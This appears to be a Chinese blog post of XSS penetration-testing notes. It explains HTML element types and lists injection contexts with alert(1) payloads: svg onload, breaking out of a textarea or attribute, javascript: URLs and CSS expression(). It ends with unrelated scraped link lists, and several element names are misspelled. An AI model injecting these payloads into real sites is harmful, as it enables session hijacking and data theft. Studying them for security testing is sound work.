XSS 渗透思路笔记
了解XSS首先要了解HTML里面的元素:共有5种元素:空元素、原始文本元素、 RCDATA元素、外来元素以及常规元素。
空元素
area、base、br、col、 command、 embed、hr、img、 input、keygen、ink、meta、 param、 source、tack、wtbr
原始文本元素
script、stye
RCDATA元素
textarea、tte
外来元素
来自 MathML命名空间和SvG命名空间的元素。
常规元素
其他HTML允许的元素都称为常规元素。
常用JS事件
on Click()
on Error()
on Focus()
on Copy()
on Mousewheel()
on MouseOver()
弹窗函数:aert、 prompt、 confirm
html中使用 script标签调用弹窗函数构造弹窗语句示例:<script>alert("xss")</script>
XSS漏洞的本质是一种注入,是一种静态脚本代码的注入。
那么大体挖掘思路就显而易见了:寻找可控点参数)->尝试注入
跨站脚本出现场景分析
1:输出内容在标签内
普通标签如<pre>内
<pre>[----用户输入----]</pre>
<html>
<head></head>
<body>
<pre>
<svg onload="alert(1)"></svg>
</pre>
</body>
</html>
RCDATA标签如< textarea>内
需要先闭合Textarea标签,然后再新建标签触发XSS
<html>
<head></head>
<body>
<textarea></textarea>
<svg onload="alert(1)"></svg>
</body>
</html>
输出内容在标签属性中
输出在普通标签的value属性中
相关案例
<input type='text' value='[---用户输入---]'>
测试方法
1.闭合单双引号(" , ')(属性),然后定义一个新的事件,在件里执行对应的 Payload进行触发。例如上面样例,利用
方法如下
<input type="text” value=" onclick="alert(1)"> (" onclick="alert(1)为输入) 通过闭合vaue属性的双引号后。新定义了 onclick事件,只需要点击该标签即可触发 2.闭合单双引号("、')(属性)后直接闭合标签, 然后自行新建标签进行触发,例如上面样例,利用方法如下: < input type="text” value=""><svg/onload=alert(1)>"> ("><svg/onload=alert(1)>为输入) 通过闭合vaue属性的双引号后,然后再写入>闭合了前面的nput标签,然后新建了svg标签操作进行触发。
输出在src/href属性中(考虑使用协议)利用协议(常用的JavaScript协议,data协议)
<iframe src="javaScript:alert(1)"></iframe> (javaScript:alert(1)为输入)
输出内容在script标签中:尝试闭合原js语句进行触发
输出内容在Content-type为text/javascript的响应包中尝试闭合原js语句进行触发;
输出内容在CSS代码中:IE浏览器支持CSS中的 expression,利用类似此表达式可以执行XSS。(IE678下通用):
<span style="color:1;x:expression(alert(/xss/));"></span>
XSS 渗透思路笔记的更多相关文章
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- metasploit 渗透测试笔记(基础篇)
0x00 背景 笔记在kali linux(32bit)环境下完成,涵盖了笔者对于metasploit 框架的认识.理解.学习. 这篇为基础篇,并没有太多技巧性的东西,但还是请大家认真看啦. 如果在阅 ...
- MSSQL站库分离情况的渗透思路
本文转自:http://bbs.blackbap.org/thread-6203-1-2.html 1. 服务器属内网环境,站库分离,通过web.config找到数据库服务库SA帐号密码,成功添加用户 ...
- XSS Challenges学习笔记 Stage#1~ Stage#19
开门见山 Stage #1 http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 这一道题发现我们写入的内容直 ...
- [思路笔记]WEB安全之漏洞挖掘
记录自己在实际渗透测试以及漏洞挖掘中会用到的思路和方法.不断完善,尽量以系统的方式展现程序化式的漏洞挖掘.由于各种原因,不便公开. 通用策略 1.信息搜集 : 数据挖掘.业务挖掘 数据: 邮箱.手机号 ...
- XSS - Labs 靶场笔记(下)
Less - 11: 1.观察界面和源代码可知,依旧是隐藏表单 2.突破点是 $str11=$_SERVER['HTTP_REFERER']; (本题为HTTP头REFERER注入) 3.因此构造pa ...
- Web渗透测试笔记(基础部分)
信息收集: dns信息收集 格式:dns... -参数 域名 -参数 示例: root@xxSec:~# dnsenum baidu.com root@xxSec:~# dnsenum -f dns. ...
- kalilinux渗透测试笔记
声明:本文理论大部分是苑房弘kalilinux渗透测试的内容 第五章:基本工具 克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/m ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
随机推荐
- typeError:The value of a feed cannot be a tf.Tensor object.Acceptable feed values include Python scalars,strings,lists.numpy ndarrays,or TensorHandles.For reference.the tensor object was Tensor...
如上贴出了:错误信息和错误代码. 这个问题困扰了自己两天,报错大概是说输入的数据和接受的格式不一样,不能作为tensor. 后来问了大神,原因出在tf.reshape(),因为网络训练时用placeh ...
- git分支管理的策略和冲突问题
目录 备注: 知识点 关于分支中的冲突 分支管理的策略 分支策略 备注: 本文参考于廖雪峰老师的博客Git教程.依照其博客进行学习和记录,感谢其无私分享,也欢迎各位查看原文. 知识点 git log ...
- ajax根据坐标查询WMS地图服务属性信息
<html lang="en"> <head> <meta charset="UTF-8"> <meta name=& ...
- Python numpy 浮点数精度问题
Python numpy 浮点数精度问题 在复现FP(fictitious play, Iterative solution of games by fictitious play-page393)算 ...
- Java继承多态
一. 父类引用指向子类对象父类名(接口名) 对象名=new 子类(接口)名称() 二. 父子继承关系中,成员变量重名1.直接通过子类对象访问成员变量 =左边是谁,就优先用谁2.间接通过成员方法访问成员 ...
- sql 大小写查询 字符串替换 小写xx 改为大写XX
--sql 大小写查询 select * from 表 where 字段 collate Chinese_PRC_CS_AS='xx' --替换 小写xx 改为大写XX update 表 set ...
- Delphi获取文件名、不带扩展名文件名、文件所在路径、上级文件夹路径的方法
1.获取不带扩展名的文件名方法,利用ChangeFileExt函数修改传入参数的扩展为空,并不会对文件本身产生变更. ChangeFileExt(ExtractFileName('D:\KK\Test ...
- GhostNet: More Features from Cheap Operations
论文:GhostNet: More Features from Cheap Operations,CVPR 2020 代码:https://github.com/iamhankai/ghostnet. ...
- php 导出数据到excel类
原文链接地址:http://www.oschina.net/code/snippet_212240_21885 标注:在使用时一定要屏蔽掉//$bodyVal = $this->charset( ...
- Java 添加、删除、替换、格式化Word中的文本(基于Spire.Cloud.SDK for Java)
Spire.Cloud.SDK for Java提供了TextRangesApi接口可通过addTextRange()添加文本.deleteTextRange()删除文本.updateTextRang ...